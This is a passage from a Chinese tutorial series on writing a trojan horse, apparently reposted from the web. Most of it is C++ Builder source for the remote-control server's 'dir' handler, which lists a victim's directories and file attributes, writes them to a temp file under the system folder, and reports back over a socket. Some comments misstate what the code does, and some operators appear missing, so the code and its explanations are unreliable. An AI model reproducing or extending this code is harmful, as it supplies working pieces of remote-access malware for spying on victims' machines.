木马是如何编写的(二)

2008-02-23 06:41:32来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w ");

//就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try 1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

//如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname) "\\" ent->d_name).c_str();

//加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname) ent->d_name).c_str();

//如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:木马是如何编写的(一)

下一篇:木马是如何编写的(三)